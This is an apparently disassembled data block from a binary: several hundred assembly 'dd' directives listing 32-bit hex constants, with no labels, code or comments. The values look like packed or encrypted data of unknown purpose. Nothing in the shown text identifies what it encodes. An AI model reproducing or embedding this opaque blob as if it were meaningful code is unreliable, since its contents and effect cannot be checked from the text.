		dd 0FBC16BCCh, 5C9E45A2h, 4781ABC9h, 0DAAAFCCAh, 1A2923ACh
		dd 0FD7DE684h, 874CAEA2h, 0B953CD41h, 9B3421A1h, 0FD5E3508h
		dd 0E77B2381h, 87145065h, 0A0415324h, 4335ECB1h, 8E08D533h
		dd 9C0A69AFh, 48571353h, 1C5E002Ch, 0B9CC564Fh,	0D202EDA4h
		dd 6E0FEDE7h, 40B86A99h, 5C006125h, 3263201Bh, 6014A775h
		dd 0C26436Ah, 63489FDDh, 93B13999h, 0E5604C3Ch,	0F96A6F68h
		dd 6C001D4Bh, 795C2F93h, 0D29F56Ch, 0F53B0BB3h,	55D2C368h
		dd 247B459Dh, 48532477h, 5CBC15F2h, 319C507Dh, 0E2F6F7DDh
		dd 2377238Dh, 0F6804EBFh, 4F748F2Bh, 93BA9046h,	77FDE104h
		dd 0C7B0A185h, 3E07F275h, 0B0A3E4F2h, 7EC1F969h, 9DBF343Ch
		dd 0A2FA86DCh, 2444D19Fh, 238B32B5h, 0E9311682h, 77C67B32h
		dd 5231DBF4h, 0DF26B73Dh, 977C552Bh, 0EB60537h,	1C3F1FF2h
		dd 68A74E5Dh, 952F8DADh, 5EAA7FCCh, 638A4969h, 553DD035h
		dd 0DE40DCFAh, 38A25AFDh, 5DDA45A2h, 56DAF174h,	82930A04h
		dd 0C2154AC3h, 7F2CBB24h, 0E009ACC2h, 9C082811h, 0CE047339h
		dd 3EEB4365h, 1A58ADD9h, 0D84DFC81h, 0AEA77D56h, 832330B7h
		dd 4BE59A3Ch, 68883693h, 0EF326E38h, 0D5628C25h, 4864B885h
		dd 9B190A06h, 0FB87B479h, 29DD0239h, 0C50B524Ah, 5F9B151Fh
		dd 0B8AD0045h, 0D560F67Bh, 0A6FE5D6Dh, 0A6D990Ah, 0D1354396h
		dd 0C0BF7AA0h, 0EE5FC345h, 941CADBBh, 7EBB6067h, 0CDF12516h
		dd 43D449C9h, 8FB52C3Ch, 6336B44Bh, 0C3ADCD7Fh,	2061280Bh
		dd 6C3BF794h, 79F2C323h, 93128CC1h, 1D8EEA32h, 0CB05725Dh
		dd 0A9E8C191h, 9EA0C9Eh, 0F2F8C9DFh, 1DD97922h,	0B83A7E21h
		dd 80C760DDh, 138F5CDAh, 0C198DE3Eh, 0F3DBC92Fh, 0C7364D00h
		dd 8228B826h, 6DE31367h, 8FF0C50Fh, 0D878D54Ah,	0FF2E425h
		dd 1F0AAB65h, 0DB81E9E2h, 7FBB5D3Ah, 805104h, 4891F5B6h
		dd 225EEC64h, 0CEE4B885h, 0EF2DB24Eh, 8389147Ah, 0C5C0593Ah
		dd 65C24A7h, 1B0F4BB0h,	0A3B8107Ch, 0B7ED3710h,	865989C1h
		dd 84288D4Dh, 0A430A9A4h, 4B488A4Eh, 8A8F365Ch,	4D9ACBACh
		dd 3D25FFCh, 5C41496Dh
		dd 0E24EEC21h, 0A943118Ah, 0CB8C5B39h, 0DDE286F7h, 2533DD7Dh
		dd 35F491DAh, 1AB63024h, 99A8725Bh, 0BB77421h, 0A02F11E8h
		dd 2DCDBEDBh, 0F053BB77h, 45EDB325h, 7AAC297Fh,	0B13FDE4Ah
		dd 69AC6C9Dh, 9D86A46Bh, 18B81C2Fh, 9E6A34D0h, 1C812D4Fh
		dd 2A99F357h, 1C220020h, 0D65EEC07h, 23E8F107h,	685B2301h
		dd 0AD2A3480h, 7638A8C8h, 7B3C0D25h, 0B97EC4CFh, 2336FB19h
		dd 9F5B341Ah, 618ADE52h, 0B9E129ADh, 7FB0588Fh,	9C3E88BDh
		dd 8C9F4906h, 0A515F9D0h, 91564FC7h, 5D0A1AACh,	8590D2D4h
		dd 0AF762E31h, 25D10466h, 0C73A0A95h, 20D1EB20h, 42AB28BBh
		dd 7C463B2Dh, 0E9BC21C6h, 9BE5AF9Dh, 0F92E905Fh, 0B3CB3997h
		dd 0B8B2A59Ah, 0B60FDF09h, 0B50DC95h, 7232D6A1h, 1A82E8A0h
		dd 0E44262Dh, 829087Dh,	2122E502h, 61BA364Ah, 0A2F977C6h
		dd 0F578F6F8h, 0E466B337h, 0C43CE1A7h, 75C3F36Ch, 4582F96Dh
		dd 5AAE6AC9h, 27008D54h, 7A82220Fh, 0B33EDE75h,	3453789Dh
		dd 9576F47Eh, 0E13D2F41h, 8A2CB656h, 12274A0Bh,	99BE0E81h
		dd 0E13EDFA8h, 8EF2BC7Ah, 567313A1h, 2435A1E3h,	5409267Dh
		dd 702A94FBh, 0AD3BE72Bh, 43435B6Ah, 3244F510h,	0C528F341h
		dd 7ACB5188h, 0B1CE0F7Eh, 0BE31FD6Dh, 85EAD2B5h, 0DB5D4A6Bh
		dd 70BB491Eh, 0AAC9AEBDh, 0B12D4071h, 9E9AB3F3h, 56490655h
		dd 0B2F2D2FEh, 0B0E24942h, 533F4A10h, 0D390D27h, 0BA69CFF4h
		dd 6D98ADE9h, 9EBEA175h, 0EB7FFE7h, 3EC62447h, 24FD3FA4h
		dd 947BA2BDh, 9EC6E1BCh, 455954A7h, 94EF92A1h, 3A3A705Ch
		dd 68698BCh, 0AA296742h, 8B372AEBh, 0BB5F139Dh,	4A63B29h
		dd 0ACDE5163h, 4A524D9Dh, 6E69CDE4h, 0A6F2E89Bh, 0A2CD9BB4h
		dd 5CB1EC55h, 5EB2B60h,	743AEE58h, 0E0182CC7h, 0DAD1626Ah
		dd 0F5BF79F4h, 0B910DF6Ah, 31472D76h, 642774A2h, 6B403888h
		dd 74B409Dh, 459DD57Ah,	1D78527Dh, 9386490Fh, 6F38B3F0h
		dd 0E99CFA07h, 0F02D7D5h, 7FC5CA9Dh, 0AD1DEB71h, 0E9D5333Eh
		dd 0DCDB1D46h, 476251D5h, 9DF3DF99h, 2845C2B2h,	8E40EE5Dh
		dd 5CC116AEh, 0EB8F4CB6h, 867C607Bh, 7F760C40h,	0DAEDA3A1h
		dd 0DAAB034Ah, 3F8AF850h, 5D8DE18Ch, 16C2CDEEh,	58957F9Dh
		dd 7C2DDF41h, 0EB95F06Bh, 92DD8375h, 84202D30h,	253B8D74h
		dd 122A2907h, 0E1790BC7h, 703BBC65h, 2FD1AD36h,	11C02AB5h
		dd 0B7B05A03h, 0B794C3EDh, 1569C23h, 739685CDh,	0FD5B5874h
		dd 242060FDh, 0B863EF73h, 0C687E54Ah, 6CAC9D4Eh, 432D8AC3h
		dd 22E70D89h, 0BC6ADB29h, 584C622Fh, 1B6542A0h,	1A3DDC7Ch
		dd 833A3471h, 6FDAEBC5h, 93987B74h, 0DE71E908h,	6EE09A31h
		dd 0A9B071A2h, 207061E7h, 0D315A015h, 3FF7B93Bh, 3B8A64A3h
		dd 0CFD465B5h, 98DC58C6h, 0CCD97473h, 3B7A8D4Eh, 0BFD885D1h
		dd 45D3A960h, 5628F9B1h, 0C4076F88h, 0CC073DF0h, 4F53E20h
		dd 9711D2C1h, 0C53BDD6Bh, 5C96255Dh, 1C290BA9h,	0AAAA29EEh
		dd 1EF03581h, 8B3402B7h, 0AE2AE047h, 0E3727FEDh, 0EDF2FE5Dh
		dd 0D84137C4h, 0D22666BFh, 0BA9AEC9Fh, 0D5292CE4h, 0F5142DE2h
		dd 0BF851E29h, 202ADD0Fh, 4A5A0FC7h, 47D42588h,	0A96028FDh
		dd 0CF67E383h, 0FC1B5251h, 0FE1679A1h, 2061950Ch, 3C6C0083h
		dd 9011439Eh, 0E0EC4DD4h, 54BA43C8h, 81850AAh, 72595653h
		dd 70AE5AFEh, 1D5F8448h, 0FA60E104h, 79902932h,	0A6D242F8h
		dd 66152DEDh, 0FFB1089Dh, 2BDD32EBh, 0C99D6740h, 0A67CEDA6h
		dd 0E68049A9h, 0E9337692h, 2232D115h, 8D4D7DC0h, 548282Bh
		dd 0A21419ADh, 0D52EB113h, 0AE5FFDF1h, 519B111Bh, 2374EB7h
		dd 0B6BAB898h, 42D4159h, 5B9B89C5h, 13032886h, 48701F78h
		dd 87FE035Dh, 0EE6D9E54h, 0ABD5E79Ah, 60B7E440h, 41CF2329h
		dd 2FCE0D1h, 460FAD23h,	0BA41E3C1h, 3912E711h, 347CA2FDh
		dd 1232CB58h, 0B8485F0Bh, 6790DDB9h, 5D9775E8h,	0AC2333D1h
		dd 3341E3FDh, 0ACF92EF3h, 0DB3BEB10h, 0A0EF9D8Ah, 0CA316941h
		dd 3C229BD3h, 99569671h, 9F554D40h, 0E7ADC11Dh,	450A80Ah
		dd 4D8CBF93h, 762311FFh, 6EF90992h, 54C1EDB2h, 0AAE321DEh
		dd 5ABE5219h, 0D836C616h, 7D8D015h, 9AF5A769h, 8A46E4D7h
		dd 74EFF121h, 8206F1FEh, 0B1A2F21Dh, 0D8A2E73Dh, 331513E5h
		dd 4573635Ah, 0E2E520ADh, 25ADC2B9h, 5EEA10D7h,	0B0A1C055h
		dd 0A60306BBh, 16B28087h, 1ADE89EEh, 0CA2B4B58h, 5CBCD8BAh
		dd 2AA347D1h, 7C9A9EF9h, 3B11503Dh, 0A3E2202Eh,	4F5D34B5h
		dd 9B32B088h, 716AAA65h, 505AA51Bh, 0B5DE0484h,	1D26AE4Dh
		dd 40AA29Ah, 0DBB6F6E1h, 40815F6Dh, 89F2C60Ah, 5EBD323Dh
		dd 652F0E82h, 0A92C5ECBh, 5FBAF720h, 65AA87F9h,	7808CBCh
		dd 36CDF5A8h, 32CD68EFh, 622EC95Eh, 5BEC70Fh, 4DB8B585h
		dd 412C7A73h, 5DE8FF72h, 8681221Bh, 0DA31CD6Eh,	456CB8E7h
		dd 0B67F01B2h, 31CFD32Ah, 83EB50CDh, 1A79581Ch,	3FFB1743h
		dd 28B769B6h, 54DEBAE0h, 27E95182h, 15155C03h, 973E3054h
		dd 4D7EA1A4h, 274BFBB7h, 7CCE5EA3h, 3DD281E6h, 5E5AFFBCh
		dd 8B21FB89h, 8E9D967Eh, 3FE3BDAh, 426F660Dh, 0DCF26073h
		dd 11D259A8h, 96FCADCDh, 9CC4A6B9h, 5F763993h, 429E1B99h
		dd 0B408931Bh, 2523C61Ch, 0AC6D733Fh, 0E563597Eh, 5EA30C9h
		dd 0BF958348h, 0C9B7F79Ch, 10EF2DEEh, 25DEFE4Dh, 10EB840Bh
		dd 5A11C6CEh, 4CB0BAF3h, 6424A279h, 221B7FD5h, 68B2319Ch
		dd 0A4643530h, 739EC79Dh, 98C0358Ch, 0EAA4AD6Ah, 6DEB1EDDh
		dd 5DC0897h, 791A4B71h,	85E890D9h, 0E4665B53h, 0F96F3FC3h
		dd 7573567Fh, 22A0B340h, 0FB72473Dh, 649D8B72h,	5BFBAB84h
		dd 27EC6D94h, 3101979Fh, 0FCA764F5h, 85970310h,	0F501442Dh
		dd 0F4746C1Dh, 1B2C4C58h, 7459FCA2h, 47060E72h,	0CC8ADC0Eh
		dd 0F08F4811h, 0B1829CCEh, 2D209A84h, 3FC70Eh, 8EFBC172h
		dd 2A1AE0BBh, 8519A60Ch, 4676094Dh, 823105A5h, 466CE819h
		dd 72E9FE40h, 494B48CFh, 0AEEA4EB1h, 0E6E9B9D1h, 20132460h
		dd 0AA33FA43h, 0B14CAB87h, 5B140379h, 0DC731A26h, 54D37FB2h
		dd 9942A61Ch, 8664DABFh, 5E1FCB07h, 9F1D6CDEh, 67B67613h
		dd 5C80359Ah, 53352888h, 8E2633C8h, 422600FFh, 0BF8AEC73h
		dd 5AB6D62Dh, 7EC9269Ah, 0F8D500FFh, 6E0A8028h,	0B4B4F84Eh
		dd 36F9337Bh, 7EF4997Dh, 0CC40CD91h, 6324B2A2h,	5FBAE4C5h
		dd 96A767A6h, 0BA8A2FC3h, 0D2232BD3h, 99103D55h, 0D43605EAh
		dd 5D2A9131h, 67AB7526h, 189600F5h, 216AE0B6h, 0B47985C8h
		dd 0A7A2ACFEh, 0AEF39319h, 4CE90DC1h, 4CF90DDDh, 4C050DD9h
		dd 700D0DD5h, 0BC0D3F74h, 0CB8500EDh, 0CE189AB4h, 0C282E2BBh
		dd 3B7EED3Fh, 2F7AED3Fh, 2776ED3Fh, 2372ED3Fh, 1F6EED3Fh
		dd 1B6AED3Fh, 1766ED3Fh, 1362ED3Fh, 0B5EED3Fh, 35AED3Fh
		dd 7B56ED3Fh, 7352ED3Fh, 674EED3Fh, 5B4AED3Fh, 4F46ED3Fh
		dd 0D1FB843Fh, 9E38F359h, 0A2130D41h, 0A6130541h, 0AA133D41h
		dd 0AF7A7156h, 0B37D2D35h, 0B77A4935h, 5E92253Dh, 7F4EE945h
		dd 7F56E941h, 7F5EE95Dh, 7F6AE959h, 5762EB55h, 0EA221D34h
		dd 0E2231934h, 56B7A9B4h, 64050101h, 5EB23BE5h,	5F38995Bh
		dd 662B4F7Dh, 6A2B8EB3h, 6E2B82B3h, 232386B3h, 5CF0F930h
		dd 4CBD0D09h, 4CC90D05h, 4CD10D01h, 0E2B5171Dh,	0E2E2B119h
		dd 0A4E6BC15h, 6E01DD43h, 6201D943h, 5A01A543h,	5201A143h
		dd 4A01AD43h, 4201A943h
		dd 0BA01B543h, 0B201B143h, 0AE01BD43h, 0AAFEB943h, 0A53EC0ECh
		dd 5C957DEDh, 0A61FBAB1h, 2CA5077Dh, 3E3F10BDh,	0A22D894Ch
		dd 96F89501h, 8F7E6657h, 0AC912BDCh, 0AC8D3899h, 0AC893881h
		dd 0C5670889h, 0BC996E01h, 0B49E6AB2h, 0A418C4FDh, 217E7561h
		dd 0C3867161h, 0F2367D57h, 0F6369D3Ch, 0FA36913Ch, 0FE36893Ch
		dd 0A4F08D3Ch, 4CA90D9Dh, 4CB10D99h, 4CB90D95h,	6AC10D91h
		dd 2C4D00FFh, 0B4C90BA9h, 0EF18CEEh, 2A412B7Dh,	2A3A6919h
		dd 2A366905h, 2A326971h, 2A2E6979h, 2A2A6965h, 2A26696Dh
		dd 2A226955h, 0D41E695Dh, 5D1D0362h, 5D190345h,	5D15034Dh
		dd 5D1100B5h, 0BB0D00BDh, 563397A9h, 5AB35544h,	229372B5h
		dd 0AF5EBC61h, 0F6EEE943h, 0EABBEABBh, 0DABBF6B9h, 0D2BBF2B9h
		dd 3EBBFEB9h, 3ABBFAB9h, 0DEBBC6B9h, 0BEDEF173h, 0B555FFCDh
		dd 0B447802Fh, 0BEF0B1C7h, 62C90C15h, 5D85D2BBh, 0E2EED943h
		dd 6BBA56Dh, 1AFF804Eh,	1E3DF001h, 5DBD3509h, 66B93171h
		dd 4BFAB1E1h, 3236E131h, 3632E562h, 46A26D51h, 0A61E8D54h
		dd 0AA26E2DDh, 0CA813DD9h, 6FBBE3B5h, 0D2313CD1h, 0D60831A1h
		dd 0AA3D93DDh, 209325E5h, 0B32609E1h, 0A17AA43Ch, 0A0552385h
		dd 17FB5799h, 0ACC1A50Eh, 0EAFB9BB0h, 0B195601Fh, 0A5C85B90h
		dd 93DE698Ch, 2A144903h, 54D13882h, 9C1E4461h, 4DC81FD7h
		dd 4C94CB2Ah, 554C3612h, 705E5C43h, 0C2114D4Ah,	0FB4D2F91h
		dd 4DF7B4E2h, 0FEEFF0A6h, 0B436C35Eh, 0BC15F10Eh, 522352C9h
		dd 0F1B1280Eh, 0F97D6C71h, 893038ABh, 0BF00D2EEh, 0B474E11Eh
		dd 0A8123C03h, 0AEECE40Eh, 1BB9E2B0h, 0BDCE6E6Ah, 0FC89E4F0h
		dd 0C2C7045Eh, 2E6C2662h, 0A268C360h, 88F0AC21h, 21CFE5E4h
		dd 0F59F9A9Ch, 8ADF6971h, 2D9D68B4h, 822952DFh,	0A623542Bh
		dd 50442811h, 0AD8F278Dh, 8B82ABC1h, 91A6A98Bh,	5DEC8921h
		dd 0BD6C5F60h, 0AEB501C7h, 3276241Bh, 0C776B399h, 6DD10E95h
		dd 8EE704B2h, 51130241h, 0AE843821h, 3633CFD2h,	0AF9BD0AAh
		dd 0B2F6F3DBh, 0F4193046h, 7199335Ah, 5F2BDBE1h, 5E3DAA91h
		dd 2C187C04h, 79034DFCh, 83D7CDD8h, 0C56B406h, 0FA2863F1h
		dd 0EDE33DA4h, 6BF6564Ah, 7DF2CB28h, 0DCA3FA13h, 1C9D091Dh
		dd 336D4838h, 0C16C3EEAh, 0D70A0E8Ch, 63ED8F4Ch, 819F1448h
		dd 36D39711h, 5D0D29AAh, 78208C2Fh, 259091A3h, 8345B26Bh
		dd 0A8AB2093h, 6EC1BBAEh, 0A3EFAAh, 0DAC1F9E5h,	2F2E83BFh
		dd 77EBF93Ah, 4AC7A121h, 9AD96980h, 9B35F43Dh, 472D9Ah
		dd 25C82799h, 0EA841512h, 0DB8C216Dh, 552AF238h, 0AEDCDEF5h
		dd 6A152350h, 98019B52h, 0B6E6143Ch, 852EA9A4h,	82B8B9B3h
		dd 0B4A5240Eh, 0B622D078h, 9B1175FFh, 6A12C18Ch, 83493923h
		dd 0EC6770CDh, 521AB1CBh, 3E43EC25h, 0DF0B3510h, 0B867899Fh
		dd 34460528h, 0B2CAFE41h, 0F778606Ah, 0FC6D1786h, 98D8F7ADh
		dd 420F845Eh, 609E10E9h, 30B9E13Bh, 0F0D1802h, 8212346Dh
		dd 9EEA7444h, 73C322DCh, 742D0C11h, 461C465Ah, 0C644CCA2h
		dd 860CBF72h, 0E68A674Dh, 8287292Ah, 0CB7D0A0Ah, 0AA583759h
		dd 0A5BB20D5h, 0E75A296Dh, 0B10F9BCh, 0FA8AE1BEh, 8222AC05h
		dd 92607E62h, 0ADA8F71h, 0A630B831h, 4DF754C3h,	0D88E7A71h
		dd 0B17F0185h, 3B0DE811h, 0AC48A5D9h, 6261E645h, 0E36FD7B0h
		dd 0A91A2629h, 0A9CA3CFh, 326423Dh, 4EF4E88Eh, 228D14CFh
		dd 6461F6B4h, 479DC941h, 5D6013D5h, 0D9FA302Eh,	0F2BB0CB9h
		dd 7932ADE7h, 5A11EA72h, 3A6E49Ah, 47A63919h, 31E96161h
		dd 43FAE932h, 0A6CAED09h, 0AA2571ADh, 72331228h, 50BBA87Eh
		dd 279D5817h, 0E1536E71h, 223E0F75h, 0A9FFD5C8h, 0A5BBEF4Bh
		dd 0ACFC3734h, 75B6CCA2h, 0B1FC657Dh, 0D960BCC8h, 2EC746C3h
		dd 0AD326F08h, 0C8E9FF62h, 4094BF50h, 7AEEFED2h, 9BBAC37Ch
		dd 0F8160C9Dh, 12F2C81Fh, 0D3BEE115h, 25C59476h, 6888F55Fh
		dd 76834241h, 45431D6Ah, 2A8D97B4h, 9364FDE6h, 9FFB7934h
		dd 0AA7671B2h, 0BA25819Dh, 1F2EB3C6h, 82F02347h, 0B07E4A52h
		dd 0F271FB52h, 26FD0DB1h, 9FF31573h, 42AAF892h,	921934F9h
		dd 0A6D416F6h, 37B9EC63h, 26E92B79h, 31AD0F86h,	4EB7B2A2h
		dd 2A3322EFh, 404FE4h, 0A0A93B55h, 42A719F1h, 0A59FF99Dh
		dd 9EDB3611h, 0EAAAA51Ah, 8DAB391Dh, 0BE924A11h, 5F1FF901h
		dd 52FA4149h, 0F76A87CCh, 1F67F0D7h, 8525352Dh,	948411F3h
		dd 0E9B9B8D8h, 8B4B5E56h, 83793BA1h, 0DB4E0E8Dh, 0F6BCAA5Ch
		dd 0FE94848Ch, 40184354h, 0FA37180Bh, 0B174969Dh, 106410ABh
		dd 427EEBB7h, 2F0FDB9Ch, 8882A754h, 0C86C2463h,	5B5AFE23h
		dd 82B1FFF6h, 27F02225h, 4CF22E61h, 20302075h, 4978681h
		dd 37C22E2h, 5831F5F5h,	83F06CFCh, 76DD31E3h, 0A100AFA4h
		dd 39A0D121h, 4F2C965Dh, 0C6F9413Fh, 7EF5D488h,	1BF94149h
		dd 7F77C31Dh, 1DF6B57Fh, 0D8D53551h, 5C377EC3h,	0BF88D53h
		dd 35F2DC31h, 45524F49h, 70E00D6Dh, 0DADF3203h,	6DFFEDB9h
		dd 41599438h, 8E86E06Ch, 5EEB32B5h, 82ADC91Eh, 39EA8D51h
		dd 68639056h, 655BDC91h, 0E031088h, 198074D7h, 0A88DD37Fh
		dd 0B02FE802h, 0C52A6A1h, 83EBA1FCh, 0AEA1CB30h, 0D540BC57h
		dd 0F138776Ch, 0B21D357Ah, 0AE69E988h, 8AE7A8C5h, 0BE565DFAh
		dd 0CAD747B0h, 0D9B1348Dh, 0FA0D0B55h, 68368A22h, 0B5508FBBh
		dd 5D3F057Fh, 712291B1h, 0B2E46265h, 58A5FE9Dh,	0D62ED11Fh
		dd 9D9D06B0h, 0A2D135E8h, 7CCE3165h, 67B63CAAh,	87291604h
		dd 9FC3DAFFh, 0D8F77A2Fh, 0FCB2FE90h, 0DBDB0CFDh, 0DC3D92B0h
		dd 7CD674D5h, 0E02A811Fh, 4D11B943h, 0D03C9C08h, 9D8C32B2h
		dd 9A1E8E20h, 0A084ED33h, 0E2C836E5h, 0BA7B0FE0h, 0E7C4A8A0h
		dd 6D1ACBA1h, 31CE66D9h, 7A92426Ch, 0DA966E1Ah,	9D65C1C6h
		dd 0F0B7FBB6h, 2F3E7ACh, 0AD72C363h, 0D275160h,	3C0A9D8Eh
		dd 94BBA9ADh, 0A2BEF83Fh, 533FB343h, 16CE9108h,	8539AE0Eh
		dd 235189Dh, 4CF7A213h,	0BB338CDEh, 7F5FE5BBh, 1F1E361Ah
		dd 82078E9Eh, 0CA2CC2EBh, 0A3B877A6h, 0BDFCB50h, 0CEBAE9B9h
		dd 0D343EDCDh, 0F1A462B2h, 1B13A973h, 87826D58h, 0DC0ABDAFh
		dd 0D93AAAFCh, 0C8A00E35h, 0B1D7229Ah, 19076AACh, 0BB6DAC1Ch
		dd 0E1F18EDEh, 0EEA34DFh, 0BC9641A0h, 0A3130032h, 6FFCBDB6h
		dd 27C968E6h, 0D16A331Ah, 80B36B21h, 0D922CAC4h, 0BEB938C6h
		dd 413B3944h, 97D800C7h, 19E592CCh, 74A528CDh, 413393A0h
		dd 0BE3770AFh, 0E643A8C3h, 77533591h, 0A76468CDh, 41F8529Ch
		dd 61942A2Ah, 37E70985h, 6DF8CCFFh, 96CEFB5Dh, 1C6B87E6h
		dd 0AE0FAA0Fh, 0AC15E423h, 4D555B05h, 2EC97FEFh, 0BBBD3F5Eh
		dd 2409905h, 1E01CAC5h,	0AC31275Eh, 25238AF8h, 45DA7602h
		dd 4123DF4h, 37F9342h, 5C327149h, 668A731Bh, 53DB3E20h
		dd 45263401h, 0EED8F36Ch, 576AFBCAh, 0D3CD7B53h, 45298980h
		dd 0F95B78BFh, 0E0EED66h, 0A614D15Ch, 36738F6h,	1233326Eh
		dd 0DBAEA970h, 105D3A5Ch, 43C88ABBh, 0A138E79Ah, 0A823CA1Dh
		dd 3B0480B2h, 0D4212729h, 0CE1F938Eh, 43589873h, 466022B3h
		dd 24071A8Ch, 4A09F173h, 0F08DABEBh, 1E604CD3h,	5CF6253Fh
		dd 7E21E321h, 17F51568h, 0F7C4A20h, 977F2A62h, 6298D42Bh
		dd 0BAEDEA51h, 7CE7F558h, 0CD6AA767h, 53E8CB1Ah, 8533F91Ch
		dd 0B6F9F3E7h, 74B13FF0h, 0BB9A435Dh, 53FE8D81h, 94FCFA2Eh
		dd 0AEAA62B7h, 957D0C1Ah
		dd 0F87BF4B3h, 8C305B03h, 11D5458h, 7EDCFF41h, 68A455FBh
		dd 0E20EF8AEh, 0FC10962Dh, 9FBB1651h, 9D12B1BAh, 1B39043Ah
		dd 3D58AC63h, 0EEEC19D9h, 3DBB854Eh, 6ABB97Ch, 63DA7791h
		dd 0D11A7C98h, 0A74C76BAh, 58D666AAh, 9938B5EFh, 0BE0103F2h
		dd 0BC190143h, 40FECD1Bh, 0B35D2C21h, 4FA3857Bh, 5F24E956h
		dd 0BDFC5EE9h, 0B382C7B5h, 5A7EE6B4h, 1EB8E44Dh, 0CAF68961h
		dd 0A96EA4h, 509B9D4Fh,	45023331h, 3B10982Bh, 19597960h
		dd 6CA583D8h, 833ED420h, 0F476CA39h, 71D6E6B1h,	7565030h
		dd 8B197762h, 0F5169E65h, 0B3F65574h, 431B63Ah,	7184B8E1h
		dd 0AF5ACF0Dh, 86202AAAh, 58930E50h, 0EEC2B00h,	42A6295Dh
		dd 46BE16EEh, 53252953h, 6ACE3941h, 1C6D2C89h, 15EF179Ch
		dd 0ACD78C92h, 0B03903BBh, 0CE96059Dh, 6BF28256h, 0DD5DC7E8h
		dd 86FE2FE5h, 6A810E35h, 0B969D3A6h, 0BBF15545h, 0EAF56EFDh
		dd 6DEBC53Dh, 881F4A5Fh, 2E469ABCh, 9B8459E0h, 10471A44h
		dd 0FF57D160h, 138E019Bh, 0CA62EC38h, 3DF409AEh, 128B0E06h
		dd 2BD39C67h, 0A6D894E3h, 0BABEFD51h, 73E861FEh, 251771DEh
		dd 263BF9B3h, 0D2FE9070h, 9E5A0AABh, 0A4FA1F0Eh, 0F4896F6Ah
		dd 0E9BE3664h, 37640066h, 5A062083h, 0F792C1Bh,	53812C7Eh
		dd 70C2E910h, 2208EEF1h, 0A6FDD058h, 589CB50Fh,	0FD5AF3BCh
		dd 1E0B3FCEh, 0A2C0AB98h, 0FD2AD32h, 1EC98D71h,	1C1DFF11h
		dd 0D9A3DA7Fh, 0CC353AC4h, 0DA76901Ch, 461FEAB6h, 0DD79020Eh
		dd 0EEC10CB6h, 63326DACh, 4FA4F0E7h, 8F678B4Dh,	0D1A6F4CFh
		dd 0E3D2BA1h, 0FF5E2E9Fh, 0AC23DDA3h, 5B33A748h, 731E1D83h
		dd 91DB3443h, 968D5E99h, 0E9D5558h, 0E4ECBF6Dh,	59236801h
		dd 0E61A9331h, 0BBD90121h, 67CA5865h, 0C17BBA21h, 930530FDh
		dd 854B21h, 0DF469E44h,	5E7A2FF3h, 2F3F273Ah, 83F48473h
		dd 0DD4F0972h, 0D8B82173h, 0B4D032Fh, 2D1EADBBh, 0E49B99BCh
		dd 53C07C03h, 0CB675845h, 1E408141h, 0DF4FB156h, 0AE46BC65h
		dd 801653C0h, 823C7685h, 0E4489C5Ch, 724834FCh,	701F5599h
		dd 5C937072h, 0F585D50h, 57CA010h, 0C1FF1A1h, 8A32D5D1h
		dd 92E8EDB8h, 64C40BEEh, 967780AAh, 82342AC0h, 0D5DA3DF1h
		dd 0BB487C80h, 0E2DFA287h, 0BFDF1484h, 0DF6870E1h, 57806FFh
		dd 35FF45B5h, 253DA5A5h, 7F1148E2h, 4B389FA0h, 63A7A9B1h
		dd 0BB55C134h, 0D852A364h, 9FA78DFDh, 5BD82528h, 0F19D1D38h
		dd 5249DD2Ah, 0A42271FBh, 6ABB2DE6h, 3D4B0DA7h,	4109BD2Bh
		dd 0B3487884h, 163AD7A9h, 0ED3B6E77h, 126D1401h, 451D7F59h
		dd 573564BDh, 0B6FFAF27h, 63AD315Ah, 823BB235h,	2C66DCB9h
		dd 0BFB5A1D3h, 106D2D6Ah, 47529019h, 80350C41h,	69B84EAh
		dd 3A30F80h, 6CB9CF61h,	4D30B930h, 0D0434AFCh, 27C119B7h
		dd 65CE917Dh, 4AE695A0h, 0ACCE2993h, 5B4B2C22h,	41BA3412h
		dd 4DEA0A4Eh, 47961BB1h, 9A098A27h, 0AEDD3DB6h,	4B50BE16h
		dd 705B7256h, 0C030CA4Bh, 0A2687BBh, 2518E926h,	564EC438h
		dd 4ACC74A3h, 0B2BF656Ch, 0DC46E149h, 47224A25h, 9DEB53Ah
		dd 0B198A82Eh, 630508B5h, 0FA5F18F6h, 0E48B3950h, 0DC5A2A8Dh
		dd 112EC7A2h, 63555B39h, 0A6F2C91Bh, 24E54927h,	1F2A54B5h
		dd 0ABF82D1Dh, 7CCACD9Fh, 0A7CF274Dh, 4D1F598Eh, 8318D799h
		dd 0BF8D22D3h, 5FBED781h, 85530BE4h, 22EE804h, 210129F9h
		dd 387A62B5h, 0CEDAB82Ah, 0AABC06BDh, 12CB69D9h, 3200CEB5h
		dd 0CC405AB5h, 0A9EE3831h, 0EDD04BDh, 60A7961h,	2513E33Fh
		dd 52095241h, 3F2B3EF1h, 231AD6Ah, 0AFA60371h, 94765CBDh
		dd 61643575h, 5E06A9F9h, 20111903h, 51BB9A63h, 0A2846722h
		dd 0AAA40E7Ch, 7EAF278Dh, 98222864h, 383C499Dh,	0AAEA3C97h
		dd 0EE610332h, 9D54A80Eh, 2E2D48CEh, 7364077h, 0A71B3E20h
		dd 0AB2667F3h, 0A3441977h, 0F9F2821Fh, 829EADEDh, 446755EEh
		dd 85BB360Ch, 0FAE0E0D6h, 0B6193018h, 0FB8C4EB6h, 9116C563h
		dd 0B13EF04Ch, 9136CB2Ch, 0F7550E73h, 2F7128FCh, 538AF2A1h
		dd 403ABC3Fh, 8ABFD65Dh, 5D3A93E3h, 0FBEEA667h,	41A2EB6h
		dd 501F0153h, 0C6BE4FCFh, 32326E75h, 6EDA52B3h,	677FEDD5h
		dd 5EBB1EE2h, 4C76EB4Eh, 647A5372h, 16CB077Bh, 3EDA92B0h
		dd 2CB30052h, 0B7E52041h, 0ABD7AD1Dh, 443821A3h, 751A0029h
		dd 0E2FE70FAh, 0DAC7F10Bh, 2301D482h, 2A559FF2h, 2443D063h
		dd 60593586h, 0CF0BA9C9h, 0FA649C6h, 41F69342h,	0EFDE5E45h
		dd 554302A6h, 0B6946C6Dh, 55AA2B6h, 136D83CAh, 0FCDE218h
		dd 75B5D330h, 52DD3FBDh, 5923F9FDh, 772CEA0h, 0DD56AC44h
		dd 76B2736Dh, 0BB3702D7h, 5BA70343h, 453F4002h,	4CEB6081h
		dd 0BB7F159Ah, 3DC85D02h, 0A360060Eh, 22005C49h, 0F816B2Dh
		dd 0B5032EBAh, 1EA0B11Dh, 136092D4h, 61C483E6h,	0B3724F6Ah
		dd 0F916B4B6h, 0F886579Ch, 0FA709358h, 0AFA2CE6Ch, 206319Fh
